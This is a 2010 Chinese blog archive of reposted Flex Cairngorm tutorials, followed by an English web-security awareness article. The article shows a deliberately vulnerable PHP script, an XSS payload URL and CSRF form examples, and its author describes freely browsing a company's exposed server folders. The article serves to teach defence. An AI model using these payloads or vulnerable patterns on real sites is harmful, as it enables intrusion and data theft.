存档在 2010年1月

[转载]Simple Flex RSS Reader using Cairngorm 研究

2010年1月20日

显示结构
下图是RssReader的显示结构。可以发现,除了可视化组件(绿色)外,非可视化组件(红色)也用mxml的方式组装到整个Application中。这样做的目的是为了更好的利用Flex中的事件传播机制。

事件流
下面看一下RssReader初始化时的事件流。(其他的事件流可以用同样的方法进行分析)

 

URI中监听了creationComplete事件。当创建URI完成后,会调用handleCreationComplete方法,设置的URL,然后再调用CairngormEventDispatcher的dispatch方法,发布自定义的GetFeedEvent事件。

代码如下:

<!--l version="1.0" encoding="utf-8-->
<?xml version="1.0" encoding="utf-8"?>
<mx:HBox xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="handleCreationComplete()">
 
    <mx:Script>
        <![CDATA[
            import com.nagpals.flexrssreader.events.GetFeedEvent;
            import com.adobe.cairngorm.control.CairngormEventDispatcher;
            import com.nagpals.flexrssreader.model.RSSReaderModelLocator;
 
            [Bindable] private var model : RSSReaderModelLocator = RSSReaderModelLocator.getInstance();
 
            private function geturi(selecteduri:String):void{
                CairngormEventDispatcher.getInstance().dispatchEvent(new GetFeedEvent(selecteduri));
            }
 
            private function handleCreationComplete():void{
                model.feedURI = "http://news.com.com/8300-10784_3-7.xml";
                geturi(model.feedURI);
            }
 
        ]]>
</mx:Script>
    <mx:Label text="Enter URL for an RSS feed" fontSize="12"  paddingTop="4" fontWeight="bold"/>
    <mx:TextInput id="uritext" width="400" text="{model.feedURI}" fontSize="12"/>
    <mx:Button id="uributton" label="Get Feed" click="geturi(uritext.text)" fontSize="12"/>
</mx:HBox>

2. RSSReaderController中注册了GetFeedEvent的监听器。会接收到FlashPlayer分发的事件,并根据事先的定义调用GetFeedCommand进行处理。

?View Code ACTIONSCRIPT
package com.nagpals.flexrssreader.control...{
    import com.adobe.cairngorm.control.FrontController;
    import com.nagpals.flexrssreader.commands.*;
    import com.nagpals.flexrssreader.events.*;
 
    public class RSSReaderController extends FrontController...{
        public function RSSReaderController()...{
            this.initialize();
        }
 
        private function initialize() : void...{
            this.addCommand(RSSReaderController.GET_FEED,GetFeedCommand);
            this.addCommand(RSSReaderController.SELECT_ITEM,SelectItemCommand);
        }
 
        /**//* ------------------------------------------------- */
        public static const GET_FEED : String = "getFeed";
        public static const SELECT_ITEM : String = "selectItem";
 
    }
}

3.GetFeedCommand调用business.GetFeedDelegate处理逻辑,GetFeedDelegate通过HTTPService获取RSS数据后将结果返回给GetFeedCommand。代码如下:

?View Code ACTIONSCRIPT
public class GetFeedCommand implements ICommand, IResponder...{
        private var delegate : GetFeedDelegate;
        private var model : RSSReaderModelLocator = RSSReaderModelLocator.getInstance();
 
       public function GetFeedCommand()...{
               delegate = new GetFeedDelegate(this);
       }
 
        public function execute( event : CairngormEvent ) : void...{
            var feedEvent : GetFeedEvent = GetFeedEvent( event );
            model.feedURI = feedEvent.selecteduri;
            delegate.getFeed();
        }
 public function result( event : Object) : void...{
            model.feedVOList     = event.result.rss.channel.item as ArrayCollection;
            model.feedTitle     = StringUtil.trim(event.result.rss.channel.title);
            model.feedTitleLink = StringUtil.trim(event.result.rss.channel.link);
        }
 
        public function fault( event : Object ) : void...{
            mx.controls.Alert.show("Error in getting feed: " + event.message);
        }
 
    }

4. 如果正常返回结果,GetFeedCommand会更新作为model的RSSReaderModelLocator中的数据。而RSSReaderModelLocator声明为[Bindable],当数据发生变化时会发出“propertyChange”事件。
(关于数据绑定的内容,请参考flex事件机制1:事件源)。
5. FlashPlayer接收到propertyChange事件后,会分发给所有绑定到model的组件,这些组件将自动更新数据。至此,整个初始化的过程就执行完毕。

[转载]跟我StepByStep学FLEX教程——Cairngorm之Command部分

2010年1月16日

这一讲对Command部分进行详细解释,也就是command如何通过Delegate部分去做Services(Remoting,Webservices…等等)。

  从上一讲中读者可以知道,Event触发通过FrontController影射到对应的Command进行业务处理。

  而如果系统要和后台的数据库进行数据交互的话,Command就会产生Delegate,将远程访问(HTTP,WebServices等等)实例化,并将结果返回给Command。

  Service则就是用来定义服务器端访问以获取数据的。

  这样读者就很清晰Command部分的处理流程了,对照代码解释如下:

  LoadPhotosCommand.as中需要加载图片访问服务器数据(该实例简化就定义在本地xml中,不过原理一样的),通过onResults_loadPhotos这个,将获取的图片数据加载到ModelLocator中,这样View就可以显示所获取的数据了。

  而在PhotoDelegate中,就是将远程访问实例化而已:__service = __locator.getHTTPService(”photosIn”);

  Services.mxml中定义了访问数据的方式:<mx:HTTPService id=”photosIn” url=”assets/photos.xml”/>。

  读者通过Demo15及对其的详细讲解,应该有一个很基础的认知了,至于框架本身如何,在实际系统的开发中,都要很好的去遵循框架本身的要求。

[转载]跟我StepByStep学FLEX教程——Cairngorm之Model Locator

2010年1月16日

  Model Locator的概念已经讲过,就是在一个地方存储程序中所有的值对象(ValueObjects,数据)并共享变量。

  也就是说,Model Locator用来集中管理程序所需要的变量。

  下边把Demo15的ModelLocator.as代码如下:(作者增加相应的注释)

?View Code ACTIONSCRIPT
import mx.collections.ArrayCollection;
 
 [Bindable]
 public class ModelLocator
 {
 
  //定义程序需要的变量,作者建议读者把该部分定义放在最下边,而不是示例中的上边,原因就是在于代码更整齐(因人而异,仅作者的个人建议,呵呵)
  public var photoData:ArrayCollection=new ArrayCollection();
  public var purchasedPhotos:ArrayCollection=new ArrayCollection();
 
  
 
  //定义ModelLocator的Single Instance,这就是设计模式的单例模式(不明白的读者可以看设计模式中的该模式讲解)
  static private var __instance:ModelLocator=null;
  //返回single instance
  static public function getInstance():ModelLocator
  {
   if(__instance == null)
   {
    __instance=new ModelLocator();
   }
   return __instance;
  }
 }

  对于ModelLocator的instance和getInstance的代码编写,这部分代码读者在写新的代码过程中,除非重新定义一个自己的ModelLocator(基于IModelLocator 接口实现),这部分代码就这么写了,呵呵,即使是自己定义,其也大同小异。

  对于getInstance来说,会判断程序是否已经有ModelLocator的实例,如果有则读取,没有则创建。

  而[Bindable]的特性,使自己定义的变量在任何一个使用定义变量的地方自动更新,这也是ModelLocator的共享变量的概念所在。

  ValueObject下的photo.as对象作者就不解释了,实在没啥解释的,呵呵。

  下一讲就要对Cairngorm的核心控制流程进行讲解了,也就是bussiness下的各部分和event的复杂关系,可能读者刚接触会觉得很绕,没关系,呵呵,Step By Step,作者讲解之后,读者就不会有那种感觉了。

  作者很感谢广大读者的支持,看见大家的评价,心里甚感欣慰,呵呵。

[转载]跟我StepByStep学FLEX教程——Cairngorm之核心控制流程

2010年1月16日

这一讲结合Demo对Cairngorm的核心控制流程进行讲解,也帮助读者梳理一下对Demo代码的认知。

  下图就是Caringorm的事件流程:

跟我StepByStep学FLEX教程------Cairngorm之核心控制流程

  在操作View也就是页面的过程中会派发Event,然后由Front Controller影射分配给对应的Command,Command做完相应的业务处理更新ModelLocator的数据,由于ModelLocator(上一讲讲过)共享的原因,View自动会更新所显示的内容。

  了解了这个基本流程后,读者对核心控制流程的认知就会更加清晰了:

  Events:就是操作View或者其它设计产生的事件;

  FrontController:就是注册Command和Event的对应关系,来把Event进行影射分配给相应的Command;

  Command:进行业务处理,更新ModelLocator(至于Command部分如何利用Delegate和Service连接则在下一讲中进行详细描述);

  这下读者就很清楚了这三者之间的关系以及Cairngorm这么做的基本原理。

  很显然,也就对应了以下的代码结构:

跟我StepByStep学FLEX教程------Cairngorm之核心控制流程

  events目录下的AddPhotoToCartEvent.as和LoadPhotosEvent.as,继承自CairngormEvent。PhotoEvent让操作者选择图片时发出事件(FStop.mxml中操作事件触发)。

  在FSController.as中定义(建议读者建一个controller的目录),继承自FrontController,负责将Event注册到Command,也就是接收到Event就分配给Command,代码如下:

?View Code ACTIONSCRIPT
addCommand(LoadPhotosEvent.EVENT_ID,LoadPhotosCommand);
addCommand(AddPhotoToCartEvent.EVENT_ID,AddPhotoToCartCommand);

在FStop.mxml中操作者触发代码:

?View Code ACTIONSCRIPT
     //选择图片时触发AddPhotoToCartEvent
 
   private function photoSelectedHandler(event:PhotoEvent):void
   {
    var addEvent:AddPhotoToCartEvent=new AddPhotoToCartEvent(event.selectedPhoto);
    addEvent.dispatch();
   }
 
   //初始化系统时触发LoadPhotosEvent
 
   private function initApp():void
   {
    var event:LoadPhotosEvent=new LoadPhotosEvent();
    event.dispatch();
   }

这下读者对代码是不是清晰很多了:)

  下一讲对Command如何利用Delegate和Service连接进行讲解(说句实话,尽管作者也遵照这个规范去编写,但是仍然感觉Cairngorm架构对业务层的处理定义的过于复杂了,仅个人观点,非官方,呵呵)。

[转载]跟我StepByStep学FLEX教程——Cairngorm之代码结构

2010年1月16日

首先看看Demo15的详细代码结构如下图:
跟我StepByStep学FLEX教程------Cairngorm之代码结构

  其中,assets为系统用到的图片以及CSS样式和XML数据。

  下边大家可以按照Cairngorm之组成部分那一讲的图片和概念对照,对其程序的组成部分就很清晰了,有一个很直观的认识。

  大家很容易明白FStop.mxml是运行系统的主页面文件,而views下的mxml都是组成主页面的页面组件。这些就不具体讲解了,在后边,会把页面的一些和Cairngorm相关的在后边的讲解中会一起说明,而页面本身的大家可以看看教程的初级部分。

  下一讲就讲model部分的代码进行讲解,这个相对来说也简单。之后就要对bussiness和events这两部分进行重点讲解,一般读者如果没有一定基础的话,不容易理解。

[转载]cairngorm登陆设计

2010年1月16日

听到一个网友讲了他的需求,所以花了点时间写了这个东西,顺便开了个博客,以前感觉自己写的东西拿不出来见人,但是这样自己就得不到发展,希望能对入门开发人员有点启示,高手们多加指导,作为一个业余爱好者,大学四年来,网络给予我很多的东西,帮助了我很多,网络作为我大学时代的唯一老师,我很是感激,希望终有一天自己能够为中国的开源程序发展做出丁点(毕竟能力是有限的)。特此感谢其他写程序博客人们,你们每一个都是无私的老师,能够与其他人分享开发的快乐。 同时也祝愿自己能够找到工,克服危机,加油!!! 程序只是展现流程而已,大家自行补充完整,service是没有发送任何东西的,php页面会返回一个字符串。

?View Code ACTIONSCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
LoginService.as
package com.steps.Player.business
{
	import com.steps.Player.vo.UserLoginInfo;
 
	import mx.rpc.AsyncToken;
	import mx.rpc.IResponder;
	import com.adobe.cairngorm.business.ServiceLocator;
 
	public class LoginService
	{
		private var responder:IResponder;
		private var service:Object;
		public function LoginService(responder:IResponder)
		{
			this.responder=responder;
			this.service=ServiceLocator.getInstance().getHTTPService("LoginService");
		}
		public function login(userloginInfo:UserLoginInfo):void
		{
			var token:AsyncToken=service.send();
			token.addResponder(responder);
		}
 
	}
}
 
 
LoginManageCommand.as
package com.steps.Player.command
{
	import com.adobe.cairngorm.commands.ICommand;
	import com.adobe.cairngorm.control.CairngormEvent;
	import com.steps.Player.business.LoginService;
	import com.steps.Player.event.UserLoginEvent;
	import com.steps.Player.view.PopupTitleWindow;
 
	import flash.display.DisplayObject;
 
	import mx.managers.PopUpManager;
	import mx.rpc.IResponder;
 
	public class LoginManageCommand implements ICommand, IResponder
	{
		private var parent:DisplayObject;
		public function execute(event:CairngormEvent):void
		{
			if(event.type==UserLoginEvent.unLogin)
			{
				var login:PopupTitleWindow=PopupTitleWindow(PopUpManager.createPopUp((event as UserLoginEvent).parent,PopupTitleWindow,true))
				PopUpManager.centerPopUp(login);
			}
			if(event.type==UserLoginEvent.login)
			{
				this.parent=(event as UserLoginEvent).parent;
				var delegate:LoginService=new LoginService(this);
				delegate.login((event as UserLoginEvent).userLoginInfo);
			}
		}
 
		public function result(data:Object):void
		{
			PopUpManager.removePopUp(this.parent as PopupTitleWindow);
		}
 
		public function fault(info:Object):void
		{
		}
 
	}
}
 
 
LoginControl.as
package com.steps.Player.control
{
	import com.adobe.cairngorm.control.FrontController;
	import com.steps.Player.event.UserLoginEvent;
	import com.steps.Player.command.LoginManageCommand;
	public class LoginControl extends FrontController
	{
 
		public function LoginControl()
		{
			addCommand(UserLoginEvent.unLogin,LoginManageCommand);
			addCommand(UserLoginEvent.login,LoginManageCommand);
		}
 
	}
}
 
 
UserLoginEvent.as
package com.steps.Player.event
{
	import com.adobe.cairngorm.control.CairngormEvent;
 
	import com.steps.Player.vo.UserLoginInfo;
 
	import flash.display.DisplayObject;
	import flash.events.Event;
 
	public class UserLoginEvent extends CairngormEvent
	{
		public static const unLogin:String="unLogin";
		public static const login:String="login";
		public var userLoginInfo:UserLoginInfo;
		public var parent:DisplayObject;
		public function UserLoginEvent(type:String,parent:DisplayObject)
		{
			super(type);
			this.parent=parent;
		}
		override public function clone():Event
		{
			return new UserLoginEvent(type,parent);
		}	
		public function set loginInfo(userLoginInfo:UserLoginInfo):void
		{
			this.userLoginInfo=userLoginInfo;
		}
		public function get loginInfo():UserLoginInfo
		{
			return this.userLoginInfo;
		}
	}
}
 
Login.as
package com.steps.Player.model
{
	import com.steps.Player.vo.UserLoginInfo;
 
 
	public class Login
	{
 
		[Bindable]
		public var userLoginInfo:UserLoginInfo=new UserLoginInfo();
 
 
 
	}
}
 
ModelLocator.as
package com.steps.Player.model
{
	[Bindable]
	public class ModelLocator
	{
 
 
		static private var __instance:ModelLocator=null;
		static public function getInstance():com.steps.Player.model.ModelLocator
		{
			if(__instance==null)
			{
				__instance=new ModelLocator();
			}
			return __instance;
		}
		public function ModelLocator()
		{
 
		}
		public var login:Login=new Login();
 
	}
 
}
 
 
&nbsp;PopupTitleWindow.mxml
<?xml version="1.0" encoding="utf-8"?>
<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" title="登陆" layout="absolute" width="400" height="300">
	<mx:Script>
		<![CDATA[
			import com.steps.Player.vo.UserLoginInfo;
			import com.steps.Player.event.UserLoginEvent;
			import mx.events.ModuleEvent;
			import com.adobe.cairngorm.control.CairngormEventDispatcher;
			private function onLogin(event:MouseEvent):void
			{
				var userLoginInfo:UserLoginInfo=new UserLoginInfo();
				userLoginInfo.userName=username.text;
				userLoginInfo.userPassword=password.text;
				var evt:UserLoginEvent=new UserLoginEvent(UserLoginEvent.login,this);
				evt.loginInfo=userLoginInfo;
				CairngormEventDispatcher.getInstance().dispatchEvent(evt);	
			}
		]]>
	</mx:Script>
	<mx:Form x="67" y="59">
		<mx:FormItem label="用户名:">
			<mx:TextInput id="username"/>
		</mx:FormItem>
		<mx:FormItem label="密码:">
			<mx:TextInput id="password"/>
		</mx:FormItem>
 
	</mx:Form>
	<mx:Button label="登陆" click="onLogin(event)" x="255" y="159"/>
	<mx:Button x="199" y="159" label="清空"/>
</mx:TitleWindow>
 
UserLoginInfo.as
package com.steps.Player.vo
{
	import com.adobe.cairngorm.vo.ValueObject;
 
	public class UserLoginInfo implements ValueObject
	{
 
		public var userName:String="";
		public var userPassword:String="";
		public var isLogin:Boolean=false;
		public function UserLoginInfo()
		{
		}
 
	}
 
}
 
 
popuptest.mxml
<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml"
	xmlns:business="com.steps.Player.business.*"
	xmlns:control="com.steps.Player.control.*"
	xmlns:view="com.steps.Player.view.*"
	 layout="absolute"
    creationComplete="init()">
	<mx:Script>
		<![CDATA[
			import com.steps.Player.event.UserLoginEvent;
			import com.steps.Player.model.Login;
			import com.steps.Player.event.UserLoginEvent;
			import com.steps.Player.model.ModelLocator;
			import com.adobe.cairngorm.control.CairngormEventDispatcher;
			private var __model:ModelLocator=ModelLocator.getInstance();
			private function init():void
			{
				if(!__model.login.userLoginInfo.isLogin)
				{
					var event:UserLoginEvent=new UserLoginEvent(UserLoginEvent.unLogin,this);
					CairngormEventDispatcher.getInstance().dispatchEvent(event);
				}
			}
		]]>
	</mx:Script>
	<control:LoginControl id="LoginControl"/>
	<business:services id="LoginService"/>
</mx:Application>
&nbsp;
services.mxml
<?xml version="1.0" encoding="utf-8"?>
<rds:ServiceLocator xmlns:rds="com.adobe.cairngorm.business.*" xmlns:mx="http://www.adobe.com/2006/mxml">
	<mx:HTTPService id="LoginService" useProxy="false" url="http://localhost/popuptest/bin-debug/login.php" resultFormat="text" method="get">
 
	</mx:HTTPService>
</rds:ServiceLocator>

推荐60+ Flex开发参考网站

2010年1月16日

新手入门参考:

应用收集,文章,博客,流行的应用和有用的资源:

【存档】网站安全: 问题是不是有你的一份

2010年1月15日

Website security is an interesting topic and should be high on the radar of anyone who has a Web presence under their control. Ineffective Web security leads to all of the things that make us hate the Web: spam, viruses, identity theft, to name a few.

The problem with Web security is that, as important as it is, it is also very complex. I am quite sure that some of you reading this are already part of an network of attack computers and that your servers are sending out spam messages without you even knowing it. Your emails and passwords have been harvested and resold to people who think you need either a new watch, a male enhancement product or a cheap mortgage. Fact is, you are part of the problem and don’t know what you did to cause it.

The reason is that security experts don’t like to talk too much in public about what they do and where the issues lie; and sadly enough, they can also come across as arrogant in their views. This could be the result of people not taking security seriously and not following the most basic advice, such as using passwords that are clever, not “password” or “letmein.”

Another reason is those tutorials that show you how to “do something in five minutes” and conveniently neglect to mention the security implications of their advice. If it sounds too easy to be true, it probably is. A perfect example of this is PHP solutions that use a file for data storage and ask you to make it writable to the world. This is easy to implement, but it means that any spammer can write to this file.

Disclaimer: the things we’ll talk about in this article today won’t make you a security expert, just as buying a Swiss Army knife won’t make you a locksmith or buying a whip won’t make you a lion tamer. The purpose here is to raise awareness and perhaps make some of that security mumbo-jumbo a bit more understandable to you.

An Interesting Report On Web Security

Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009. A PDF of the report is available, and the numbers are telling:

4239939571 B7d3cddc83 O in Web Security: Are You Part Of The Problem?
PDF: Web Vulnerabilities Q1/Q2 2009.

Among the most serious vulnerabilities were path traversal, cross-site scripting, cross-site request forgery and SQL injection. Unmentioned are a newer threat, clickjacking, and a user interface issue called phishing. You may have to deal with all of these as a Web developer if you touch PHP and HTML, CSS and JavaScript. Even if you don’t use PHP, you could still cause a lot of problems. Even if you don’t touch code and simply design, you could be a great asset in this area. You could help make the Web safer by making security issues understandable to your users.

Let’s go through all of these things and explain what they are and do. The first thing you need to know, though, is how URIs work.

URIs: The Main Way To Attack A Web Service

The address of any document (i.e. file on the Internet) is its Uniform Resource Identifier (URI). This is what you enter in the browser bar to access the document and what you embed into code to point to the document. For example, my website address is http://icant.co.uk, and the document you see when you open it in a browser is http://icant.co.uk/index.php (the server automatically redirects to that document). The logo image resides at the URI http://icant.co.uk/iconslogo.png, and the image of me pointing at you is on a totally different server and has the URI http://farm4.static.flickr.com/3172/3041842192_5b51468648.jpg.

All of these URIs are okay for you to access. Some URIs, though, contain information that should not be accessible to the outside world. For example, the /etc/password folder on a server contains password and user information that should not leak to the Internet.

Every URI can also contain parameters. These are instructions you can send to the script located at that URI and that are appended to the URI starting with a ? and separated by ampersands. If you want to search for puppies on Google, for example, you can use the URI http://www.google.com/search?q=puppies, and if you want to begin your search after the first 50 results, you can use http://www.google.com/search?q=puppies&start=50.

Normally, these parameters are not entered by end users but rather come from the HTML interface. If you look at the source code of the Google home page and get rid of the painful bits, you end up with the following form:

01 <form name=“f” action=“/search”>
02   <input type=“hidden” value=“en” name=“hl”/>
03   <input type=“hidden” value=“hp” name=“source”/>
04   <input name=“q”/>
05   <input type=“submit” name=“btnG”/>
06   <input type=“submit” name=“btnI”/>
07   <input type=“hidden” name=“aq”/>
08   <input type=“hidden” name=“oq”/>
09   <input type=“hidden” name=“aqi”/>
10 </form>

So in essence, this form sends the content of all of these fields to the URI search and appends them to that URI. This is how you end up with this,

when you submit the form. Notice, for instance, that I have no btnG parameter because I used the Enter key to submit the form.

On the search results page, you can see the pagination links at the bottom (the 1 2 3 and so on under the Gooooooogle logo), and you can see that these links send the same data to the URI and add a start parameter:

1 <a href="/search?hl=en&amp;q=puppies&amp;<STRONG>start=40</STRONG>&amp;sa=N">5</a>

You can send parameters to a script with the URI via form fields, links or any other thing in HTML that contains a URI: images, link elements, frames, anything that can take an href or src attribute. If an attacker can override any of these or add a new image to your HTML without you knowing it, they could point to their own URIs and send their own parameters.

You have to be careful with what your parameters contain and where they point to, which could be someone else’s server (to get more code) or sections of your own server that you don’t want to show or send to another server.

Different Types Of Attacks. What Do These Words Mean?

Let’s quickly go through the different items mentioned in the graph above, explaining what they are and what they mean.

SQL Injection

With an SQL injection, an attacker accesses your database by sending an SQL command to your server via the URI or form fields. This is easily worked around by sanitizing, but neglecting to do so can be fatal for your website, as the following XKCD comic shows:

Exploits Of A Mom in Web Security: Are You Part Of The Problem?
XKCD comic showing how SQL injection would delete a database.

Cross-Site Scripting (XSS)

Cross-site scripting is probably the biggest and most common problem. With it, an attacker injects JavaScript code into your document by adding it to the end of the URI as a parameter or in a form field.

Say you want to be cool and allow visitors to customize certain colors on your page. You could do this easily in PHP:

01 <?php
02   // predefine colors to use
03   $color = ‘white’;
04   $background = ‘black’;
05   // if there is a parameter called color, use that one
06   if(isset($_GET['color'])){
07     $color = $_GET['color'];
08   }
09   // if there is a parameter called background, use that one
10   if(isset($_GET['background'])){
11     $background = $_GET['background'];
12   }
13 ?>
14   
15 <style type=“text/css” media=“screen”>
16   #intro{
17     /* color is set by PHP */
18     color:<?php echo $color;?>;
19     /* background is set by PHP */
20     background:<?php echo $background;?>;
21     font-family:helvetica,arial,sans-serif;
22     font-size:200%;
23     padding:10px;
24   }
25 </style>
26   
27 <p id=“intro”>Cool intro block, customizable, too!</p>

So far, everything’s kosher, and we’re not even using inline styles! If you save this now as test.php and call it on your server in your browser as the URI http://example.com/test.php, you will get a text intro block that is black on white. The $_GET[] variables come from the URI as parameters, and because they are not set, nothing changes. If you want the colors to be red on pink, you can do this: http://example.com/test.php?color=red&background=pink.

But because you allow any value for the variables, an attacker could send the following:

1 http://example.com/test.php?color=green&background=</style><script>alert(String.fromCharCode(88,83,83))</script>

This would effectively close the style block prematurely and add a script to the document. In this case, all we would be doing is writing out the word XSS, but we could do anything that a JavaScript is allowed to do. You can see the results in the following screenshot:

Xss in Web Security: Are You Part Of The Problem?
Large view

Once you have successfully injected JavaScript, you will be able to read out cookies; open forms that ask the user to enter their passwords or credit card details; execute viruses, worms and “drive-by downloads”; the lot. The reason is that JavaScript is not bound by any security model; any script on the page has the same rights, no matter which server it has come from. This is a big security problem with JavaScript and is something clever people are working on.

XSS is a very common problem. Websites such as XSSED.org have a field day showing the world just how many websites are vulnerable:

Xssed in Web Security: Are You Part Of The Problem?

The remedy for XSS is to be very paranoid about anything that comes via forms or the URI. You also need to be sure that your PHP is set up properly (we’ll come back to some ways to test for that and to write good code later on).

Path Traversal

Allowing for path or directory traversal on your server is an amazingly bad idea. You would be allowing people to list the folders on your server and to navigate from folder to folder. This allows attackers to go to folders with sensitive information or website functionality and have some fun. The following screenshot is of me accessing the database of a sandwich company, sending emails from their server and reading the order logs:

Path in Web Security: Are You Part Of The Problem?
Large view

I was able to get all of this information simply by accessing the cgi-bin folder, which was unprotected from being listed. So, instead of going to http://example.com, I went to http://example.com/cgi-bin/ in my browser. I knew something was wrong on their big Flash website when I clicked on the menu. It popped up in a new window and had a URI like

 

which gave me all the information I needed to play around.

The other problem of allowing folders to be listed is that search engines will index your information, allowing anyone to use Google as a hacking tool. As servers create a page with a title and a headline of the folder name, these are indexed by Google.

You could search for, say, “index of /ebooks” to find electronic books online or “index of /photos” to find photos. To see search tests such as this one, check out the Google a Dream Come True article, which listed many of them in 2003(!).

This method of searching worked much better in the past, by the way: not because people protect their servers better now, but because spammers who offer fake pirated products realize that people do these searches and fake it now to optimize their own websites’ search engine rankings.

Cross-Site Request Forgery

Cross-site request forgery (CSRF) exploits browsers and websites that allow for functionality to be called without really knowing that an actual user initiated it. Say you have a form on your website http://example.com that works with GET and sends things to your database:

01 <form method=“get” action=“add_to_db.php”>
02   <div>
03     <label for=“name”>Name</label>
04     <input type=“text” id=“name” name=“name”>
05   </div>
06   <div>
07     <label for=“email”>email</label>
08     <input type=“text” id=“email” name=“email”>
09   </div>
10   <div>
11     <label for=“comment”>Comment</label>
12     <textarea id=“comment” name=“comment”></textarea>
13   </div>
14   <div><input type=“submit” value=“tell me more”></div>
15 </form>

Forms can be sent by two methods: GET adds all of the parameters to the URI visibly in the address bar, whereas POST sends them “under the hood.” POST also allows you to send much more data. This is a simplification but all you need to know for now.

If the script that adds to the database doesn’t check that the form was really sent from your server, I could add an image to any website by doing this:

2 name=cheap%20rolex&email=susan@hotchicks.com&comment=mortgage%20help" width=“1″ height=“1″>

Anybody coming to my website would now be putting another comment into your database. I could use an image or CSS link or script or anything that allows for a URI to be defined and loaded by a browser when the HTML renders. In CSS, this could be a background image.

CSRF becomes even more dangerous when you are logged into and authenticated by a particular system. An image in any other tab in your browser could execute a money transfer, read your emails and send them on and many other evil things.

A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued Web accelerator tool (GWA). The idea was to pre-fetch websites that were linked to from the current document, thus making surfing faster. All well and good… until you ended up with delete links in websites that worked like this:

1 <a href=“/app/delete_entry.php?id=12″>delete</a>

Because some applications did not check if this was an initiated deletion or an attempt of GWA to pre-load the page, the tool deleted whole blogs and product databases. Google did nothing wrong, but the community learned a lot about CSRF that day.

Now, you might suppose that moving your forms from GET to POST would make them safe, right? Partially, yes, but an attacker could still use a form and trick people into clicking a button to make the request:

1 <form method=“post” action=“add_to_db.php”>
2   <div>
3     <input type=“hidden” name=“name” value=“bob”>
4     <input type=“hidden” name=“email” value=“bob@experts.com”>
5     <input type=“hidden” name=“comment”
6            value=“awesome article, buy cialis now!”>
7   <input type=“submit” value=“see beautiful kittens now!”>
8   </div>
9 </form>

You could even use JavaScript to automatically send the form or a script on another server to do the POST request from the back-end. There are many ways to exploit CSRF, and protecting against it is not that hard.

Remote File Inclusion (RFI)

With Remote file inclusion or code injection, an attacker uses a flaw in your website to inject code from another server to run on yours. It is in the same family as XSS but much more problematic because you have full access to your server (with JavaScript, you can steal cookies and call other code, but you can’t access the file system without resorting to tricks with Flash or Java Applets).

Any code injected to your server with an untested variable and include() command, for example, could run server commands: upload and download and transfer data to other servers, check your server passwords and user names, anything you can do on the command line via PHP or ASP if your server allows for it.

This is probably the worst that can happen to your server, because with command line access, I could turn it into an attack machine for a server network attack, silently listen to everything you and your users do on the server and send it to another Web resource, store information and viruses for distribution, inject spam links, you name it.

The workaround is to turn off globals and to never ever assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)

Phishing

Phishing is the technique of fooling people into entering information into a bad website. You show end users an interface that looks legit (for a bank or what have you) but that in reality sends their information to your database. Because phishing is a felony, I cannot show you a demo.

The trick with phishing is to make the form really look like it comes from a website you trust. You have probably gotten emails saying that your “XYZ bank account” has been compromised, and you know for certain that this isn’t the case because you have no account with that bank and may not have even heard of it. This is a wild-guess phishing attempt, which is not usually effective.

On the Web, though, an attacker can perform a JavaScript trick to find out where you’ve been. As Jeremiah Grossman showed some years ago, you can use JavaScript to determine the state of a link on the page. Because the colors of visited and unvisited links are different, we can use this technique to figure which websites a user has been to and then display the appropriate logo above the form. This demo shows this quite effectively. Funny enough, you can also use this trick for good; for example, by showing people only the buttons of social media websites they use.

Clickjacking

Clickjacking is a terribly clever way to use CSS and inline frames to trick users into clicking something without knowing it. Probably the most famous example of this was the “Don’t click me” exploit of Twitter a few months ago. All of a sudden, Twitter was full of messages pointing to a website with a button that read “Don’t click me”. Here is an examples for Jason Kottke’s stream:

Dontclick in Web Security: Are You Part Of The Problem?
Twitter’s “Don’t Click” prank, explained

Human nature being what it is, many people clicked the button, which seemingly did nothing. What it actually did, though, was put your Twitter home page on top of the button as a frame, with an opacity of 0 in the CSS. The update field was pre-set with the tweet pointing to the page. The following screenshot makes this obvious, with the opacity set here to 0.5:

Clickjacking1 in Web Security: Are You Part Of The Problem?

By clickjacking, you can make end users do things without knowing it. Every action on a website that can be performed with a simple click can be exploited with this trick.

Clickjacking is a massive problem because it is done via CSS, not a script. Unless browsers block frames from having an opacity of 0, there is no simple workaround. The main counter-measure people take is to disallow embedding in frames using JavaScript. However, with JavaScript off, clickjacking still works.

Basic Ways To Increase Web Security

Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.

Keep Code Up to Date

There is no better protection than keeping your code up to date. Outdated versions of WordPress, old installs of PHP and MySQL, even old browsers, all of these are security issues because most updates to software these days are security patches. It is a rat race between those who want the Web to work and those who want to abuse it to make a quick buck or to steal your identity. So please help the good guys by upgrading whenever a new version is out.

Don’t Stay Logged In, and Don’t Entice Others to Either

Staying logged in while not using a system is dangerous. Other websites you surf to can check that you are logged in and then clickjack you to make you do something you don’t mean to or aren’t aware of. This is especially dangerous with social media because everything you do will be sent to all your friends and probably replicated by them. It is a snowball effect.

In my perfect world, no form has a “Keep me logged in” option, which of course would be a nuisance to end users. I would love to see a clever, usable solution to this problem. I use a Flex client for Twitter, not a browser, which means I am not vulnerable even on websites with clickjacking and cross-site request forgery (the latter only if people do not abuse the API to phish my followers; see the presentations at the end of this article for a demo of that).

